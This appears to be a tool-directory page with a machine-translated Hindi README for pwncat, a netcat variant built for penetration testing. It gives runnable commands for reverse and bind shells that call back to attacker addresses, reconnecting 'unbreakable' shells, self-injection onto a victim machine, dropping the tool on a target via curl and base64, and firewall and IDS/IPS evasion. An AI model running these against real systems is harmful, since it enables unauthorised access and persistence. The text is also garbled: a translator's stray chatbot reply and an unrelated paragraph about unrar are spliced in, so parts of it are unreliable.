Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pwncat — pwncat - स्टेरॉयड पर netcat जिसमें फ़ायरवॉल, IDS/IPS चोरी-छिपे, बाइंड और रिवर्स शेल, स्व-इंजेक्शन शेल और पोर्ट फ़ॉरवर्डिंग जादू है - और यह Python (PSE) के साथ पूरी तरह से स्क्रिप्ट करने योग्य है | Kitploit
उपकरण/GitHubGitHub/cytopia/pwncat
पेलोड जनरेशनपोर्ट स्कैनिंगआईडीएस/आईपीएस से बचनापार्श्व आंदोलनस्क्रिप्टिंग और स्वचालनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलउपयोगिताएँ और फ्रेमवर्करेड टीमिंग
GitHubcytopia/pwncat

pwncat

2.0k214264 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

pwncat - स्टेरॉयड पर netcat जिसमें फ़ायरवॉल, IDS/IPS चोरी-छिपे, बाइंड और रिवर्स शेल, स्व-इंजेक्शन शेल और पोर्ट फ़ॉरवर्डिंग जादू है - और यह Python (PSE) के साथ पूरी तरह से स्क्रिप्ट करने योग्य है

रिपॉजिटरी देखेंवेबसाइट
साझा करें

दस्तावेज़ | स्थापित करें | TL;DR | विशेषताएँ | व्यवहार | उपयोग | उदाहरण | सामान्य प्रश्न | योगदान | अस्वीकरण | लाइसेंस


pwncat बैनर

pwncat

दस्तावेज़ स्थिति PyPI PyPI - स्थिति PyPI - Python संस्करण

PyPI - प्रारूप
PyPI - कार्यान्वयन
PyPI - लाइसेंस

बिल्ड स्थिति बिल्ड स्थिति

 

फायरवॉल, IDS/IPS चोरी, बाइंड और रिवर्स शेल, स्व-इंजेक्टिंग शेल और पोर्ट फॉरवर्डिंग जादू के साथ स्टेरॉयड पर Netcat - और यह पूरी तरह से Python (PSE) के साथ स्क्रिप्ट योग्य है। - docs.pwncat.org

 

कोड शैली एकीकरण परीक्षण [2]
स्टाइलरस्थिति
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonOSLinuxMacOSWindows
2.7

[1] mypy प्रकार कवरेज (पूरी तरह से टाइप किया गया: 94.00%)
[2] असफल बिल्ड खराब कार्यक्षमता का संकेत नहीं देते हैं। एकीकरण परीक्षण कई घंटों तक चलते हैं और विभिन्न कारणों (नेटवर्क टाइमआउट, GitHub Actions के अज्ञात रद्दीकरण, आदि) से छिटपुट रूप से टूट जाते हैं: #735, #841

प्रेरणा

क्या आपने कभी गलती से अपने रिवर्स शेल पर Ctrl+c दबाया और वह हमेशा के लिए खत्म हो गया? क्या आपने कभी अपने क्लाइंट के आपसे वापस कनेक्ट होने का इंतजार किया, क्योंकि फ़ायरवॉल ने इसे बाहर नहीं जाने दिया? क्या आपने कभी कनेक्शन खो दिया क्योंकि IPS ने संदिग्ध पोर्ट बंद कर दिए? क्या आपको कभी त्वरित पोर्ट फ़ॉरवर्डिंग की आवश्यकता पड़ी?

यह आपकी सहायता करेगा।

इसके अलावा, nc, ncat या socat की वर्तमान विशेषताएं मेरी आवश्यकताओं को पूरा नहीं करती थीं और मैं एक ऐसा टूल चाहता था जो पुरानी और नई मशीनों पर काम करे (इसलिए Python 2+3 संगतता)। सबसे महत्वपूर्ण बात, मैं इसे ऐसी भाषा में चाहता था जिसे मैं समझ सकूं और अपनी स्वयं की विशेषताएं प्रदान कर सकूं। (प्रतीक्षा करें, Linux, MacOS और Windows के लिए बाइनरी रिलीज़ जल्द ही आएंगी)।

📕 दस्तावेज़ीकरण

Pwncat दस्तावेज़लिंक
आधिकारिक दस्तावेज़ीकरणhttps://docs.pwncat.org
आधिकारिक वेबसाइटhttps://pwncat.org
API दस्तावेज़ीकरणhttps://pwncat.org/pwncat.api.html
Pwncat स्क्रिप्टिंग इंजनPSE

🎉 स्थापित करें

वर्तमान संस्करण है: 0.1.2

सामान्य

Pip
pip install pwncat

OS विशिष्ट

MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_img

[1]: Epel रिपॉजिटरी
[2]: अस्थिर

☕ TL;DR

यह केवल एक त्वरित आरंभिक अवलोकन है। अधिक उन्नत तकनीकों के लिए 💻 उपयोग या 💡 उदाहरण देखें।

क्रियान्वयन में देखें

अटूट रिवर्स शेल - कैसे स्पॉन करें

अटूट रिवर्स शेल - एकाधिक शेल

लक्ष्य पर तैनात करें```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### लक्ष्य में इंजेक्ट करें```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] सेल्फ-इंजेक्शन के बारे में और विस्तार से पढ़ें

शेल बुलाएँ```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

पोर्ट स्कैन```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### स्थानीय पोर्ट फ़ॉरवर्ड `-L` (श्रवण प्रॉक्सी)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

रिमोट पोर्ट फॉरवर्ड -R (डबल क्लाइंट प्रॉक्सी)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

मज़े और लाभ के लिए SSH टनलिंग 🔗
pwncat उदाहरण: पोर्ट फॉरवर्डिंग मैजिक

⭐ विशेषताएँ

एक नज़र में

pwncat में कई विशेषताएँ हैं, नीचे केवल उत्कृष्ट विशेषताओं की सूची दी गई है।

विशेषताविवरण
PSEपूरी तरह से स्क्रिप्ट करने योग्य है जिसमें Pwncat स्क्रिप्टिंग इंजन का उपयोग करके भेजने और प्राप्त करने पर सभी प्रकार की फैंसी चीज़ों की अनुमति है
पोर्ट स्कैनिंगबुनियादी संस्करण पहचान समर्थन के साथ TCP और UDP पोर्ट स्कैनिंग
स्व-इंजेक्टिंग rshellस्व-इंजेक्टिंग मोड जो स्वयं को तैनात करता है और स्वचालित रूप से आपके पास एक अटूट रिवर्स शेल शुरू करता है
बाइंड शेलबाइंड शेल बनाएँ
रिवर्स शेलरिवर्स शेल बनाएँ
पोर्ट फॉरवर्डस्थानीय और रिमोट पोर्ट फॉरवर्ड (प्रॉक्सी सर्वर/क्लाइंट)
Ctrl+cयदि आप गलती से Ctrl+c दबाते हैं तो रिवर्स शेल फिर से कनेक्ट हो सकता है
Egress का पता लगाएँलक्ष्य पर खुले आउटगोइंग पोर्ट को स्कैन और रिपोर्ट करें (पोर्ट हॉपिंग)
FW से बचेंआउटगोइंग पोर्ट को राउंड-रॉबिन करके एग्रेस फ़ायरवॉल से बचें (पोर्ट हॉपिंग)
IPS से बचेंकनेक्शन इंटरप्ट पर आउटगोइंग पोर्ट को राउंड-रॉबिन करने में सक्षम होकर इंट्रूज़न प्रिवेंशन सिस्टम से बचें (पोर्ट हॉपिंग)
UDP रिवर्स शेलइसे पारंपरिक netcat के साथ आज़माएँ
स्टेटफुल UDPUDP क्लाइंट मोड के लिए स्टेटफुल कनेक्ट चरण
TCP / UDPपूर्ण TCP और UDP समर्थन
IPv4 / IPv6डुअल या सिंगल स्टैक IPv4 और IPv6 समर्थन
Python 2+3Python 2, Python 3, pypy2 और pypy3 के साथ काम करता है
क्रॉस OSजब तक Python उपलब्ध है, Linux, MacOS और Windows पर काम करता है
अनुकूलताnetcat, ncat या socat को pwncat के साथ क्लाइंट या सर्वर के रूप में उपयोग करें
पोर्टेबलएकल फ़ाइल जो केवल कोर पैकेज का उपयोग करती है - कोई बाहरी निर्भरता आवश्यक नहीं।

विशेषता तुलना मैट्रिक्स

pwncatnetcatncatsocat
स्क्रिप्टिंग इंजन✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
यूनिक्स डोमेन सॉकेट❌✔✔✔
Linux vsock❌❌✔❌
सॉकेट स्रोत बाइंड✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
टेलनेट नेगोशिएशन❌✔✔❌
प्रॉक्सी समर्थन❌✔✔✔
स्थानीय पोर्ट फॉरवर्ड✔❌❌✔
रिमोट पोर्ट फॉरवर्ड✔❌❌❌
इनबाउंड पोर्ट स्कैन✔✔✔❌
आउटबाउंड पोर्ट स्कैन✔❌❌❌
संस्करण पहचान✔❌❌❌
चैट✔✔✔✔
कमांड निष्पादन✔

* यह सुविधा वर्तमान में विकास के अधीन है।

👮 व्यवहार

netcat के मूल कार्यान्वयन की तरह, TCP का उपयोग करते समय, pwncat (क्लाइंट और लिसन मोड में) स्वचालित रूप से बंद हो जाएगा, यदि नेटवर्क कनेक्शन समाप्त हो गया हो, ठीक से या गलत तरीके से। यदि रिमोट पीयर कनेक्शन समाप्त नहीं करता है, या UDP मोड में, netcat और pwncat खुले रहेंगे। STDIN बंद होने पर व्यवहार थोड़ा भिन्न होता है।

  1. netcat: यदि STDIN बंद है, लेकिन कनेक्शन खुला रहता है, तो netcat खुला रहेगा
  2. pwncat: यदि STDIN बंद है, लेकिन कनेक्शन खुला रहता है, तो pwncat बंद हो जाएगा

आप --no-shutdown कमांड लाइन आर्गुमेंट के साथ netcat व्यवहार का अनुकरण कर सकते हैं।

इस व्यवहार को बेहतर ढंग से समझने के लिए निम्नलिखित कमांड देखें:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
INPUT:

The provided instruction ends with "INPUT:" but no actual content. Please supply the Markdown chunk to be translated. I am ready to perform the translation as specified.```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

"UNRARLL" कमांड है, उदाहरण के लिए। -d2 फ़्लैग unrar को पूर्ण पथ बनाने का निर्देश देता है, ताकि यह पूरी निर्देशिका संरचना प्राप्त कर ले, और अन्य फ़्लैग्स में p stdout पर प्रिंट करने के लिए, तथा -inul संदेशों को दबाने के लिए है। दिया गया -r फ़्लैग कमांड को उप-निर्देशिकाओं में पाए जाने वाले किसी भी RAR फ़ाइल से पुनरावर्ती रूप से निपटने के लिए लूप करने का निर्देश देता है। पहले दृष्टिकोण के लिए बस इतना ही है; दूसरा दृष्टिकोण बहुत समान है लेकिन पुनरावर्ती रूप से पाए जाने वाले RAR फ़ाइलों को देखता है।```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
सलाह दी जाती है कि UDP के माध्यम से फ़ाइलें भेजना विश्वसनीय नहीं है।```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

इस डिफ़ॉल्ट व्यवहार को बदलने के कई तरीके हैं। अधिक उन्नत सेटिंग्स के लिए उपयोग अनुभाग देखें।

💻 उपयोग

कुंजियाँ

व्यवहारAltAltAlt
बाहर निकलें (SIGINT)Ctrl+cCtrl+cCtrl+c
बाहर निकलें (SIGQUIT)Ctrl+\??
बाहर निकलें (SIGQUIT)Ctrl+4??
बाहर निकलें STDIN[1]Ctrl+dCtrl+dCtrl+z और Ctrl+Enter
भेजें (NL)Ctrl+j??
भेजें (EOL)Ctrl+m??
भेजें (EOL)EnterEnterEnter

[1] केवल तब काम करता है जब --no-shutdown और --keep का उपयोग नहीं किया जा रहा हो। तब यह भेजने के लिए अपना सॉकेट बंद कर देगा, रिमोट एंड और उसके सॉकेट पर EOF का संकेत देगा।

कमांड लाइन तर्क

सभी उपलब्ध विकल्पों को देखने के लिए pwncat -h टाइप करें या नीचे क्लिक करें।

उपयोग विस्तार से देखने के लिए यहां क्लिक करें``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: उदाहरण

### अपने शेल को इंटरैक्टिव में अपग्रेड करें
<!--
<details>
  <summary>Click to expand</summary>
-->

> यह एक सार्वभौमिक सलाह है और केवल `pwncat` के साथ ही नहीं, बल्कि अन्य सभी सामान्य टूल्स के साथ भी काम करती है।

जब आप रिवर्स या बाइंड शेल से कनेक्ट होते हैं, तो आप देखेंगे कि कोई भी इंटरैक्टिव कमांड काम नहीं करेगा और
<kbd>Ctrl</kbd>+<kbd>c</kbd> दबाने से आपका सत्र समाप्त हो जाएगा।
इसे ठीक करने के लिए, आपको इसे एक TTY से अटैच करना होगा (इसे इंटरैक्टिव बनाना होगा)। यहाँ बताया गया है कि कैसे:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

### UDP रिवर्स शेल
बिना किसी ट्रिक के UDP रिवर्स शेल वास्तव में संभव नहीं है। UDP एक स्टेटलेस प्रोटोकॉल है, जो TCP की तुलना में अलग है, और इसमें TCP की तरह `connect()` मेथड नहीं होती।
TCP मोड में, सर्वर को क्लाइंट का IP और पोर्ट पता चल जाता है, जब क्लाइंट `connects()` जारी करता है।
UDP मोड में, चूंकि `connect()` नहीं है, क्लाइंट बिना पहले कनेक्ट किए सीधे किसी पते/पोर्ट पर डेटा भेजता है।
इसलिए, UDP मोड में, सर्वर क्लाइंट के IP और पोर्ट को नहीं जान पाएगा, और इसलिए पहले उसे डेटा नहीं भेज सकता।
इसे संभव बनाने का एकमात्र तरीका यह है कि क्लाइंट पहले सर्वर को किसी प्रकार का डेटा भेजे, ताकि सर्वर देख सके कि किस IP/पोर्ट से डेटा आया है।

`pwncat` TCP `connect()` का अनुकरण करता है, जिसमें क्लाइंट एक या समय-समय पर `--ping-intvl` या `--ping-init` के माध्यम से सर्वर को एक नल बाइट भेजता है।```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

अटूट TCP रिवर्स शेल

अटूट क्यों? क्योंकि यह आपके पास वापस आता रहेगा, भले ही आप अस्थायी रूप से अपने सुनने वाले सर्वर को बंद कर दें। दूसरे शब्दों में, क्लाइंट सफलता तक निर्दिष्ट सर्वर से कनेक्ट करने का प्रयास करता रहेगा। यदि कनेक्शन बाधित होता है, तो यह फिर से प्रयास करता रहेगा।```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### अटूट UDP रिवर्स शेल
क्यों अटूट? क्योंकि यह आपके पास वापस आता रहेगा, भले ही आप अपने सुनने वाले सर्वर को अस्थायी रूप से बंद कर दें।
दूसरे शब्दों में, क्लाइंट सर्वर को लगातार null बाइट्स भेजता रहेगा ताकि खुद को लगातार घोषित कर सके।```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

स्व-इंजेक्टिंग रिवर्स शेल

मान लीजिए कि आप लक्ष्य से अपनी मशीन पर एक बहुत ही सरल और अस्थिर रिवर्स शेल बनाने में सक्षम हैं, जैसे कि PHP स्क्रिप्ट या इसी तरह की वेब शेल। यह जानते हुए कि यह बहुत लंबे समय तक नहीं टिकेगा या अस्थिर नेटवर्क कनेक्शन के कारण टूट सकता है, आप pwncat का उपयोग करके इस कनेक्शन में हुक कर सकते हैं और अपने आप को लक्ष्य पर बिना टूटने वाले तरीके से तैनात कर सकते हैं - पूरी तरह से स्वचालित।

Youtube पर देखें

आपको बस इतना करना है, pwncat को अपने स्थानीय लिसनर के रूप में उपयोग करें और इसे --self-inject स्विच के साथ प्रारंभ करें। जैसे ही क्लाइंट (जैसे: रिवर्स वेब शेल) इससे कनेक्ट होता है, यह कुछ काम करेगा:

  1. लक्ष्य पर Python की उपलब्धता और संस्करणों की गणना करें
  2. स्वयं को base64 एन्कोडेड रूप में लक्ष्य पर डंप करें
  3. डिकोड करने के लिए लक्ष्य के Python का उपयोग करें।
  4. अपने आप को एक अटूट रिवर्स शेल के रूप में आपके पास वापस शुरू करने के लिए लक्ष्य के Python का उपयोग करें।

एक बार यह हो जाने के बाद, आप वर्तमान कनेक्शन का उपयोग जारी रख सकते हैं या बस इसे छोड़ सकते हैं और एक नया लिसनर शुरू कर सकते हैं (हाँ, रिवर्स शेल शुरू करने से पहले लिसनर शुरू करने की आवश्यकता नहीं है) ताकि नया pwncat क्लाइंट आपसे कनेक्ट हो सके। नए लिसनर को pwncat होना भी आवश्यक नहीं है, यह netcat या ncat भी हो सकता है।

--self-inject स्विच:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: यह लक्ष्य पर शुरू करने का कमांड है (`-e`/`--exec` की तरह, इसलिए आप चाहते हैं कि यह `cmd.exe` या `/bin/bash` हो)
* `<host>`: यह आपकी स्थानीय मशीन के लिए है, वह IP पता जहाँ रिवर्स शेल वापस कनेक्ट होगा
* `<port>`: यह आपकी स्थानीय मशीन के लिए है, वह पोर्ट जिस पर रिवर्स शेल वापस कनेक्ट होगा

तो कल्पना करें कि आपकी Kali मशीन 10.0.0.1 है। आप अपने वेबशेल को निर्देश देते हैं जिसे आप लिनक्स सर्वर पर इंजेक्ट करते हैं, वह आपसे पोर्ट `4444` पर कनेक्ट करे:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

